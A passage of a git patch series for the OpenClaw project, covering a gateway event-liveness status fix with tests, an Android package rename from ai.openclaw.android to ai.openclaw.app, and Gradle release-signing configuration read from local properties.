&& + snapshot.lastEventAt != null + ) { + if (lastStartAt != null && snapshot.lastEventAt < lastStartAt) { + return { healthy: true, reason: "healthy" }; + } + const eventAge = policy.now - snapshot.lastEventAt; + if (eventAge > policy.staleEventThresholdMs) { + return { healthy: false, reason: "stale-socket" }; } } return { healthy: true, reason: "healthy" }; diff --git a/src/gateway/channel-status-patches.test.ts b/src/gateway/channel-status-patches.test.ts new file mode 100644 index 00000000000..9297c23e69d --- /dev/null +++ b/src/gateway/channel-status-patches.test.ts @@ -0,0 +1,12 @@ +import { describe, expect, it } from "vitest"; +import { createConnectedChannelStatusPatch } from "./channel-status-patches.js"; + +describe("createConnectedChannelStatusPatch", () => { + it("uses one timestamp for connected event-liveness state", () => { + expect(createConnectedChannelStatusPatch(1234)).toEqual({ + connected: true, + lastConnectedAt: 1234, + lastEventAt: 1234, + }); + }); +}); diff --git a/src/gateway/channel-status-patches.ts b/src/gateway/channel-status-patches.ts new file mode 100644 index 00000000000..9e1af6a33d7 --- /dev/null +++ b/src/gateway/channel-status-patches.ts @@ -0,0 +1,15 @@ +export type ConnectedChannelStatusPatch = { + connected: true; + lastConnectedAt: number; + lastEventAt: number; +}; + +export function createConnectedChannelStatusPatch( + at: number = Date.now(), +): ConnectedChannelStatusPatch { + return { + connected: true, + lastConnectedAt: at, + lastEventAt: at, + }; +} diff --git a/src/slack/monitor/provider.reconnect.test.ts b/src/slack/monitor/provider.reconnect.test.ts index b3638a209bf..10fbab031a0 100644 --- a/src/slack/monitor/provider.reconnect.test.ts +++ b/src/slack/monitor/provider.reconnect.test.ts @@ -1,4 +1,4 @@ -import { describe, expect, it } from "vitest"; +import { describe, expect, it, vi } from "vitest"; import { __testing } from "./provider.js"; class FakeEmitter { @@ -22,6 +22,22 @@ class FakeEmitter { } describe("slack socket reconnect helpers", () => { + it("seeds event liveness when socket mode connects", () => { + const setStatus = vi.fn(); + + __testing.publishSlackConnectedStatus(setStatus); + + expect(setStatus).toHaveBeenCalledTimes(1); + expect(setStatus).toHaveBeenCalledWith( + expect.objectContaining({ + connected: true, + lastConnectedAt: expect.any(Number), + lastEventAt: expect.any(Number), + lastError: null, + }), + ); + }); + it("resolves disconnect waiter on socket disconnect event", async () => { const client = new FakeEmitter(); const app = { receiver: { client } }; diff --git a/src/slack/monitor/provider.ts b/src/slack/monitor/provider.ts index b7a10588e3f..12ba1020268 100644 --- a/src/slack/monitor/provider.ts +++ b/src/slack/monitor/provider.ts @@ -18,6 +18,7 @@ import { } from "../../config/runtime-group-policy.js"; import type { SessionScope } from "../../config/sessions.js"; import { normalizeResolvedSecretInputString } from "../../config/types.secrets.js"; +import { createConnectedChannelStatusPatch } from "../../gateway/channel-status-patches.js"; import { warn } from "../../globals.js"; import { computeBackoff, sleepWithAbort } from "../../infra/backoff.js"; import { installRequestBodyLimitGuard } from "../../infra/http-body.js"; @@ -65,6 +66,17 @@ function parseApiAppIdFromAppToken(raw?: string) { return match?.[1]?.toUpperCase(); } +function publishSlackConnectedStatus(setStatus?: (next: Record) => void) { + if (!setStatus) { + return; + } + const now = Date.now(); + setStatus({ + ...createConnectedChannelStatusPatch(now), + lastError: null, + }); +} + export async function monitorSlackProvider(opts: MonitorSlackOpts = {}) { const cfg = opts.config ?? loadConfig(); const runtime: RuntimeEnv = opts.runtime ?? createNonExitingRuntime(); @@ -390,6 +402,7 @@ export async function monitorSlackProvider(opts: MonitorSlackOpts = {}) { try { await app.start(); reconnectAttempts = 0; + publishSlackConnectedStatus(opts.setStatus); runtime.log?.("slack socket mode connected"); } catch (err) { // Auth errors (account_inactive, invalid_auth, etc.) are permanent — @@ -481,6 +494,7 @@ export async function monitorSlackProvider(opts: MonitorSlackOpts = {}) { export { isNonRecoverableSlackAuthError } from "./reconnect-policy.js"; export const __testing = { + publishSlackConnectedStatus, resolveSlackRuntimeGroupPolicy: resolveOpenProviderRuntimeGroupPolicy, resolveDefaultGroupPolicy, getSocketEmitter, diff --git a/src/web/auto-reply/monitor.ts b/src/web/auto-reply/monitor.ts index 66b9c0fd993..a9ef2f4b229 100644 --- a/src/web/auto-reply/monitor.ts +++ b/src/web/auto-reply/monitor.ts @@ -5,6 +5,7 @@ import { DEFAULT_GROUP_HISTORY_LIMIT } from "../../auto-reply/reply/history.js"; import { formatCliCommand } from "../../cli/command-format.js"; import { waitForever } from "../../cli/wait.js"; import { loadConfig } from "../../config/config.js"; +import { createConnectedChannelStatusPatch } from "../../gateway/channel-status-patches.js"; import { logVerbose } from "../../globals.js"; import { formatDurationPrecise } from "../../infra/format-time/format-duration.ts"; import { enqueueSystemEvent } from "../../infra/system-events.js"; @@ -210,9 +211,7 @@ export async function monitorWebChannel( }, }); - status.connected = true; - status.lastConnectedAt = Date.now(); - status.lastEventAt = status.lastConnectedAt; + Object.assign(status, createConnectedChannelStatusPatch()); status.lastError = null; emitStatus(); From 5568b393a86d7b32b3348d6ceebf32e0dc993bfb Mon Sep 17 00:00:00 2001 From: Ayaan Zaidi Date: Sat, 7 Mar 2026 14:46:26 +0530 Subject: [PATCH 101/844] fix(android): rename app package to ai.openclaw.app --- apps/android/app/build.gradle.kts | 49 ++++++++++++++++++- apps/android/app/proguard-rules.pro | 2 +- .../{android => app}/CameraHudState.kt | 2 +- .../openclaw/{android => app}/DeviceNames.kt | 2 +- .../{android => app}/InstallResultReceiver.kt | 2 +- .../openclaw/{android => app}/LocationMode.kt | 2 +- .../openclaw/{android => app}/MainActivity.kt | 6 +-- .../{android => app}/MainViewModel.kt | 16 +++--- .../ai/openclaw/{android => app}/NodeApp.kt | 2 +- .../{android => app}/NodeForegroundService.kt | 4 +- .../openclaw/{android => app}/NodeRuntime.kt | 34 ++++++------- .../{android => app}/PermissionRequester.kt | 2 +- .../ScreenCaptureRequester.kt | 2 +- .../openclaw/{android => app}/SecurePrefs.kt | 2 +- .../openclaw/{android => app}/SessionKey.kt | 2 +- .../{android => app}/VoiceWakeMode.kt | 2 +- .../ai/openclaw/{android => app}/WakeWords.kt | 2 +- .../{android => app}/chat/ChatController.kt | 4 +- .../{android => app}/chat/ChatModels.kt | 2 +- .../gateway/BonjourEscapes.kt | 2 +- .../gateway/DeviceAuthPayload.kt | 2 +- .../gateway/DeviceAuthStore.kt | 4 +- .../gateway/DeviceIdentityStore.kt | 2 +- .../gateway/GatewayDiscovery.kt | 2 +- .../gateway/GatewayEndpoint.kt | 2 +- .../gateway/GatewayProtocol.kt | 2 +- .../gateway/GatewaySession.kt | 2 +- .../{android => app}/gateway/GatewayTls.kt | 2 +- .../gateway/InvokeErrorParser.kt | 2 +- .../{android => app}/node/A2UIHandler.kt | 4 +- .../{android => app}/node/AppUpdateHandler.kt | 10 ++-- .../{android => app}/node/CalendarHandler.kt | 4 +- .../node/CameraCaptureManager.kt | 4 +- .../{android => app}/node/CameraHandler.kt | 8 +-- .../{android => app}/node/CanvasController.kt | 4 +- .../node/ConnectionManager.kt | 18 +++---- .../{android => app}/node/ContactsHandler.kt | 4 +- .../{android => app}/node/DebugHandler.kt | 8 +-- .../{android => app}/node/DeviceHandler.kt | 6 +-- .../node/DeviceNotificationListenerService.kt | 2 +- .../node/GatewayEventHandler.kt | 6 +-- .../node/InvokeCommandRegistry.kt | 30 ++++++------ .../{android => app}/node/InvokeDispatcher.kt | 30 ++++++------ .../{android => app}/node/JpegSizeLimiter.kt | 2 +- .../node/LocationCaptureManager.kt | 2 +- .../{android => app}/node/LocationHandler.kt | 6 +-- .../{android => app}/node/MotionHandler.kt | 4 +- .../{android => app}/node/NodeUtils.kt | 4 +- .../node/NotificationsHandler.kt | 4 +- .../{android => app}/node/PhotosHandler.kt | 4 +- .../{android => app}/node/ScreenHandler.kt | 4 +- .../node/ScreenRecordManager.kt | 8 +-- .../{android => app}/node/SmsHandler.kt | 4 +- .../{android => app}/node/SmsManager.kt | 4 +- .../{android => app}/node/SystemHandler.kt | 4 +- .../protocol/OpenClawCanvasA2UIAction.kt | 2 +- .../protocol/OpenClawProtocolConstants.kt | 2 +- .../{android => app}/tools/ToolDisplay.kt | 2 +- .../{android => app}/ui/CameraHudOverlay.kt | 2 +- .../{android => app}/ui/CanvasScreen.kt | 4 +- .../openclaw/{android => app}/ui/ChatSheet.kt | 6 +-- .../{android => app}/ui/ConnectTabScreen.kt | 4 +- .../ui/GatewayConfigResolver.kt | 2 +- .../{android => app}/ui/MobileUiTokens.kt | 4 +- .../{android => app}/ui/OnboardingFlow.kt | 10 ++-- .../{android => app}/ui/OpenClawTheme.kt | 2 +- .../{android => app}/ui/PostOnboardingTabs.kt | 4 +- .../{android => app}/ui/RootScreen.kt | 4 +- .../{android => app}/ui/SettingsSheet.kt | 10 ++-- .../{android => app}/ui/TalkOrbOverlay.kt | 2 +- .../{android => app}/ui/VoiceTabScreen.kt | 8 +-- .../ui/chat/Base64ImageState.kt | 2 +- .../{android => app}/ui/chat/ChatComposer.kt | 28 +++++------ .../{android => app}/ui/chat/ChatMarkdown.kt | 14 +++--- .../ui/chat/ChatMessageListCard.kt | 16 +++--- .../ui/chat/ChatMessageViews.kt | 38 +++++++------- .../ui/chat/ChatSheetContent.kt | 34 ++++++------- .../ui/chat/SessionFilters.kt | 4 +- .../voice/ElevenLabsStreamingTts.kt | 2 +- .../voice/MicCaptureManager.kt | 2 +- .../voice/StreamingMediaDataSource.kt | 2 +- .../voice/TalkDirectiveParser.kt | 2 +- .../{android => app}/voice/TalkModeManager.kt | 8 +-- .../voice/VoiceWakeCommandExtractor.kt | 2 +- .../voice/VoiceWakeManager.kt | 2 +- .../NodeForegroundServiceTest.kt | 2 +- .../{android => app}/WakeWordsTest.kt | 2 +- .../gateway/BonjourEscapesTest.kt | 2 +- .../gateway/DeviceAuthPayloadTest.kt | 2 +- .../gateway/GatewaySessionInvokeTest.kt | 2 +- .../GatewaySessionInvokeTimeoutTest.kt | 2 +- .../gateway/InvokeErrorParserTest.kt | 2 +- .../node/AppUpdateHandlerTest.kt | 2 +- .../node/CalendarHandlerTest.kt | 2 +- .../node/CameraHandlerTest.kt | 2 +- .../CanvasControllerSnapshotParamsTest.kt | 2 +- .../node/ConnectionManagerTest.kt | 4 +- .../node/ContactsHandlerTest.kt | 2 +- .../node/DeviceHandlerTest.kt | 2 +- .../node/InvokeCommandRegistryTest.kt | 24 ++++----- .../node/JpegSizeLimiterTest.kt | 2 +- .../node/MotionHandlerTest.kt | 2 +- .../node/NodeHandlerRobolectricTest.kt | 2 +- .../node/NotificationsHandlerTest.kt | 4 +- .../node/PhotosHandlerTest.kt | 2 +- .../{android => app}/node/SmsManagerTest.kt | 2 +- .../node/SystemHandlerTest.kt | 2 +- .../protocol/OpenClawCanvasA2UIActionTest.kt | 2 +- .../protocol/OpenClawProtocolConstantsTest.kt | 2 +- .../ui/GatewayConfigResolverTest.kt | 2 +- .../ui/chat/SessionFiltersTest.kt | 4 +- .../voice/TalkDirectiveParserTest.kt | 2 +- .../voice/TalkModeConfigParsingTest.kt | 2 +- .../voice/VoiceWakeCommandExtractorTest.kt | 2 +- apps/android/benchmark/build.gradle.kts | 2 +- .../benchmark/StartupMacrobenchmark.kt | 4 +- .../android/scripts/perf-startup-benchmark.sh | 2 +- apps/android/scripts/perf-startup-hotspots.sh | 2 +- 118 files changed, 357 insertions(+), 312 deletions(-) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/CameraHudState.kt (85%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/DeviceNames.kt (95%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/InstallResultReceiver.kt (97%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/LocationMode.kt (92%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/MainActivity.kt (94%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/MainViewModel.kt (94%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/NodeApp.kt (95%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/NodeForegroundService.kt (98%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/NodeRuntime.kt (97%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/PermissionRequester.kt (99%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/ScreenCaptureRequester.kt (98%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/SecurePrefs.kt (99%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/SessionKey.kt (92%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/VoiceWakeMode.kt (91%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/WakeWords.kt (95%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/chat/ChatController.kt (99%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/chat/ChatModels.kt (96%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/gateway/BonjourEscapes.kt (96%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/gateway/DeviceAuthPayload.kt (97%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/gateway/DeviceAuthStore.kt (92%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/gateway/DeviceIdentityStore.kt (99%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/gateway/GatewayDiscovery.kt (99%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/gateway/GatewayEndpoint.kt (94%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/gateway/GatewayProtocol.kt (52%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/gateway/GatewaySession.kt (99%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/gateway/GatewayTls.kt (99%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/gateway/InvokeErrorParser.kt (96%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/node/A2UIHandler.kt (98%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/node/AppUpdateHandler.kt (98%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/node/CalendarHandler.kt (99%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/node/CameraCaptureManager.kt (99%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/node/CameraHandler.kt (97%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/node/CanvasController.kt (99%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/node/ConnectionManager.kt (92%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/node/ContactsHandler.kt (99%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/node/DebugHandler.kt (96%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/node/DeviceHandler.kt (99%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/node/DeviceNotificationListenerService.kt (99%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/node/GatewayEventHandler.kt (94%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/node/InvokeCommandRegistry.kt (89%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/node/InvokeDispatcher.kt (91%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/node/JpegSizeLimiter.kt (98%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/node/LocationCaptureManager.kt (99%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/node/LocationHandler.kt (97%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/node/MotionHandler.kt (99%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/node/NodeUtils.kt (96%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/node/NotificationsHandler.kt (98%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/node/PhotosHandler.kt (99%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/node/ScreenHandler.kt (89%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/node/ScreenRecordManager.kt (95%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/node/SmsHandler.kt (86%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/node/SmsManager.kt (98%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/node/SystemHandler.kt (98%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/protocol/OpenClawCanvasA2UIAction.kt (98%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/protocol/OpenClawProtocolConstants.kt (98%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/tools/ToolDisplay.kt (99%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/ui/CameraHudOverlay.kt (97%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/ui/CanvasScreen.kt (98%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/ui/ChatSheet.kt (53%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/ui/ConnectTabScreen.kt (99%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/ui/GatewayConfigResolver.kt (99%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/ui/MobileUiTokens.kt (98%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/ui/OnboardingFlow.kt (99%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/ui/OpenClawTheme.kt (97%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/ui/PostOnboardingTabs.kt (99%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/ui/RootScreen.kt (88%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/ui/SettingsSheet.kt (99%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/ui/TalkOrbOverlay.kt (99%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/ui/VoiceTabScreen.kt (98%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/ui/chat/Base64ImageState.kt (97%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/ui/chat/ChatComposer.kt (94%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/ui/chat/ChatMarkdown.kt (98%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/ui/chat/ChatMessageListCard.kt (90%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/ui/chat/ChatMessageViews.kt (90%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/ui/chat/ChatSheetContent.kt (92%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/ui/chat/SessionFilters.kt (96%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/voice/ElevenLabsStreamingTts.kt (99%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/voice/MicCaptureManager.kt (99%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/voice/StreamingMediaDataSource.kt (98%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/voice/TalkDirectiveParser.kt (99%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/voice/TalkModeManager.kt (99%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/voice/VoiceWakeCommandExtractor.kt (97%) rename apps/android/app/src/main/java/ai/openclaw/{android => app}/voice/VoiceWakeManager.kt (99%) rename apps/android/app/src/test/java/ai/openclaw/{android => app}/NodeForegroundServiceTest.kt (98%) rename apps/android/app/src/test/java/ai/openclaw/{android => app}/WakeWordsTest.kt (98%) rename apps/android/app/src/test/java/ai/openclaw/{android => app}/gateway/BonjourEscapesTest.kt (93%) rename apps/android/app/src/test/java/ai/openclaw/{android => app}/gateway/DeviceAuthPayloadTest.kt (96%) rename apps/android/app/src/test/java/ai/openclaw/{android => app}/gateway/GatewaySessionInvokeTest.kt (99%) rename apps/android/app/src/test/java/ai/openclaw/{android => app}/gateway/GatewaySessionInvokeTimeoutTest.kt (97%) rename apps/android/app/src/test/java/ai/openclaw/{android => app}/gateway/InvokeErrorParserTest.kt (97%) rename apps/android/app/src/test/java/ai/openclaw/{android => app}/node/AppUpdateHandlerTest.kt (98%) rename apps/android/app/src/test/java/ai/openclaw/{android => app}/node/CalendarHandlerTest.kt (99%) rename apps/android/app/src/test/java/ai/openclaw/{android => app}/node/CameraHandlerTest.kt (95%) rename apps/android/app/src/test/java/ai/openclaw/{android => app}/node/CanvasControllerSnapshotParamsTest.kt (97%) rename apps/android/app/src/test/java/ai/openclaw/{android => app}/node/ConnectionManagerTest.kt (95%) rename apps/android/app/src/test/java/ai/openclaw/{android => app}/node/ContactsHandlerTest.kt (99%) rename apps/android/app/src/test/java/ai/openclaw/{android => app}/node/DeviceHandlerTest.kt (99%) rename apps/android/app/src/test/java/ai/openclaw/{android => app}/node/InvokeCommandRegistryTest.kt (87%) rename apps/android/app/src/test/java/ai/openclaw/{android => app}/node/JpegSizeLimiterTest.kt (97%) rename apps/android/app/src/test/java/ai/openclaw/{android => app}/node/MotionHandlerTest.kt (99%) rename apps/android/app/src/test/java/ai/openclaw/{android => app}/node/NodeHandlerRobolectricTest.kt (90%) rename apps/android/app/src/test/java/ai/openclaw/{android => app}/node/NotificationsHandlerTest.kt (99%) rename apps/android/app/src/test/java/ai/openclaw/{android => app}/node/PhotosHandlerTest.kt (98%) rename apps/android/app/src/test/java/ai/openclaw/{android => app}/node/SmsManagerTest.kt (98%) rename apps/android/app/src/test/java/ai/openclaw/{android => app}/node/SystemHandlerTest.kt (98%) rename apps/android/app/src/test/java/ai/openclaw/{android => app}/protocol/OpenClawCanvasA2UIActionTest.kt (97%) rename apps/android/app/src/test/java/ai/openclaw/{android => app}/protocol/OpenClawProtocolConstantsTest.kt (98%) rename apps/android/app/src/test/java/ai/openclaw/{android => app}/ui/GatewayConfigResolverTest.kt (98%) rename apps/android/app/src/test/java/ai/openclaw/{android => app}/ui/chat/SessionFiltersTest.kt (93%) rename apps/android/app/src/test/java/ai/openclaw/{android => app}/voice/TalkDirectiveParserTest.kt (97%) rename apps/android/app/src/test/java/ai/openclaw/{android => app}/voice/TalkModeConfigParsingTest.kt (98%) rename apps/android/app/src/test/java/ai/openclaw/{android => app}/voice/VoiceWakeCommandExtractorTest.kt (95%) rename apps/android/benchmark/src/main/java/ai/openclaw/{android => app}/benchmark/StartupMacrobenchmark.kt (96%) diff --git a/apps/android/app/build.gradle.kts b/apps/android/app/build.gradle.kts index 9f714a64304..595a5796fa3 100644 --- a/apps/android/app/build.gradle.kts +++ b/apps/android/app/build.gradle.kts @@ -1,5 +1,35 @@ import com.android.build.api.variant.impl.VariantOutputImpl +val androidStoreFile = providers.gradleProperty("OPENCLAW_ANDROID_STORE_FILE").orNull?.takeIf { it.isNotBlank() } +val androidStorePassword = providers.gradleProperty("OPENCLAW_ANDROID_STORE_PASSWORD").orNull?.takeIf { it.isNotBlank() } +val androidKeyAlias = providers.gradleProperty("OPENCLAW_ANDROID_KEY_ALIAS").orNull?.takeIf { it.isNotBlank() } +val androidKeyPassword = providers.gradleProperty("OPENCLAW_ANDROID_KEY_PASSWORD").orNull?.takeIf { it.isNotBlank() } +val resolvedAndroidStoreFile = + androidStoreFile?.let { storeFilePath -> + if (storeFilePath.startsWith("~/")) { + "${System.getProperty("user.home")}/${storeFilePath.removePrefix("~/")}" + } else { + storeFilePath + } + } + +val hasAndroidReleaseSigning = + listOf(resolvedAndroidStoreFile, androidStorePassword, androidKeyAlias, androidKeyPassword).all { it != null } + +val wantsAndroidReleaseBuild = + gradle.startParameter.taskNames.any { taskName -> + taskName.contains("Release", ignoreCase = true) || + Regex("""(^|:)(bundle|assemble)$""").containsMatchIn(taskName) + } + +if (wantsAndroidReleaseBuild && !hasAndroidReleaseSigning) { + error( + "Missing Android release signing properties. Set OPENCLAW_ANDROID_STORE_FILE, " + + "OPENCLAW_ANDROID_STORE_PASSWORD, OPENCLAW_ANDROID_KEY_ALIAS, and " + + "OPENCLAW_ANDROID_KEY_PASSWORD in ~/.gradle/gradle.properties.", + ) +} + plugins { id("com.android.application") id("org.jlleitschuh.gradle.ktlint") @@ -8,9 +38,21 @@ plugins { } android { - namespace = "ai.openclaw.android" + namespace = "ai.openclaw.app" compileSdk = 36 + // Release signing is local-only; keep the keystore path and passwords out of the repo. + signingConfigs { + if (hasAndroidReleaseSigning) { + create("release") { + storeFile = project.file(checkNotNull(resolvedAndroidStoreFile)) + storePassword = checkNotNull(androidStorePassword) + keyAlias = checkNotNull(androidKeyAlias) + keyPassword = checkNotNull(androidKeyPassword) + } + } + } + sourceSets { getByName("main") { assets.directories.add("../../shared/OpenClawKit/Sources/OpenClawKit/Resources") @@ -18,7 +60,7 @@ android { } defaultConfig { - applicationId = "ai.openclaw.android" + applicationId = "ai.openclaw.app" minSdk = 31 targetSdk = 36 versionCode = 202603010 @@ -31,6 +73,9 @@ android { buildTypes { release { + if (hasAndroidReleaseSigning) { + signingConfig = signingConfigs.getByName("release") + } isMinifyEnabled = true isShrinkResources = true proguardFiles(getDefaultProguardFile("proguard-android-optimize.txt"), "proguard-rules.pro") diff --git a/apps/android/app/proguard-rules.pro b/apps/android/app/proguard-rules.pro index d73c79711d6..78e4a363919 100644 --- a/apps/android/app/proguard-rules.pro +++ b/apps/android/app/proguard-rules.pro @@ -1,5 +1,5 @@ # ── App classes ─────────────────────────────────────────────────── --keep class ai.openclaw.android.** { *; } +-keep class ai.openclaw.app.** { *; } # ── Bouncy Castle ───────────────────────────────────────────────── -keep class org.bouncycastle.** { *; } diff --git a/apps/android/app/src/main/java/ai/openclaw/android/CameraHudState.kt b/apps/android/app/src/main/java/ai/openclaw/app/CameraHudState.kt similarity index 85% rename from apps/android/app/src/main/java/ai/openclaw/android/CameraHudState.kt rename to apps/android/app/src/main/java/ai/openclaw/app/CameraHudState.kt index 636c31bdd3c..cd0ace8b76d 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/CameraHudState.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/CameraHudState.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android +package ai.openclaw.app enum class CameraHudKind { Photo, diff --git a/apps/android/app/src/main/java/ai/openclaw/android/DeviceNames.kt b/apps/android/app/src/main/java/ai/openclaw/app/DeviceNames.kt similarity index 95% rename from apps/android/app/src/main/java/ai/openclaw/android/DeviceNames.kt rename to apps/android/app/src/main/java/ai/openclaw/app/DeviceNames.kt index 3c44a3bb4f7..7416ca9ed81 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/DeviceNames.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/DeviceNames.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android +package ai.openclaw.app import android.content.Context import android.os.Build diff --git a/apps/android/app/src/main/java/ai/openclaw/android/InstallResultReceiver.kt b/apps/android/app/src/main/java/ai/openclaw/app/InstallResultReceiver.kt similarity index 97% rename from apps/android/app/src/main/java/ai/openclaw/android/InstallResultReceiver.kt rename to apps/android/app/src/main/java/ai/openclaw/app/InstallResultReceiver.kt index ffb21258c1c..745ea11f96e 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/InstallResultReceiver.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/InstallResultReceiver.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android +package ai.openclaw.app import android.content.BroadcastReceiver import android.content.Context diff --git a/apps/android/app/src/main/java/ai/openclaw/android/LocationMode.kt b/apps/android/app/src/main/java/ai/openclaw/app/LocationMode.kt similarity index 92% rename from apps/android/app/src/main/java/ai/openclaw/android/LocationMode.kt rename to apps/android/app/src/main/java/ai/openclaw/app/LocationMode.kt index eb9c84428e0..b673ff27056 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/LocationMode.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/LocationMode.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android +package ai.openclaw.app enum class LocationMode(val rawValue: String) { Off("off"), diff --git a/apps/android/app/src/main/java/ai/openclaw/android/MainActivity.kt b/apps/android/app/src/main/java/ai/openclaw/app/MainActivity.kt similarity index 94% rename from apps/android/app/src/main/java/ai/openclaw/android/MainActivity.kt rename to apps/android/app/src/main/java/ai/openclaw/app/MainActivity.kt index b90427672c6..08cca4e4fcd 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/MainActivity.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/MainActivity.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android +package ai.openclaw.app import android.os.Bundle import android.view.WindowManager @@ -11,8 +11,8 @@ import androidx.compose.ui.Modifier import androidx.lifecycle.Lifecycle import androidx.lifecycle.lifecycleScope import androidx.lifecycle.repeatOnLifecycle -import ai.openclaw.android.ui.RootScreen -import ai.openclaw.android.ui.OpenClawTheme +import ai.openclaw.app.ui.RootScreen +import ai.openclaw.app.ui.OpenClawTheme import kotlinx.coroutines.launch class MainActivity : ComponentActivity() { diff --git a/apps/android/app/src/main/java/ai/openclaw/android/MainViewModel.kt b/apps/android/app/src/main/java/ai/openclaw/app/MainViewModel.kt similarity index 94% rename from apps/android/app/src/main/java/ai/openclaw/android/MainViewModel.kt rename to apps/android/app/src/main/java/ai/openclaw/app/MainViewModel.kt index 6d10da0f5fe..db79df9c17a 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/MainViewModel.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/MainViewModel.kt @@ -1,14 +1,14 @@ -package ai.openclaw.android +package ai.openclaw.app import android.app.Application import androidx.lifecycle.AndroidViewModel -import ai.openclaw.android.gateway.GatewayEndpoint -import ai.openclaw.android.chat.OutgoingAttachment -import ai.openclaw.android.node.CameraCaptureManager -import ai.openclaw.android.node.CanvasController -import ai.openclaw.android.node.ScreenRecordManager -import ai.openclaw.android.node.SmsManager -import ai.openclaw.android.voice.VoiceConversationEntry +import ai.openclaw.app.gateway.GatewayEndpoint +import ai.openclaw.app.chat.OutgoingAttachment +import ai.openclaw.app.node.CameraCaptureManager +import ai.openclaw.app.node.CanvasController +import ai.openclaw.app.node.ScreenRecordManager +import ai.openclaw.app.node.SmsManager +import ai.openclaw.app.voice.VoiceConversationEntry import 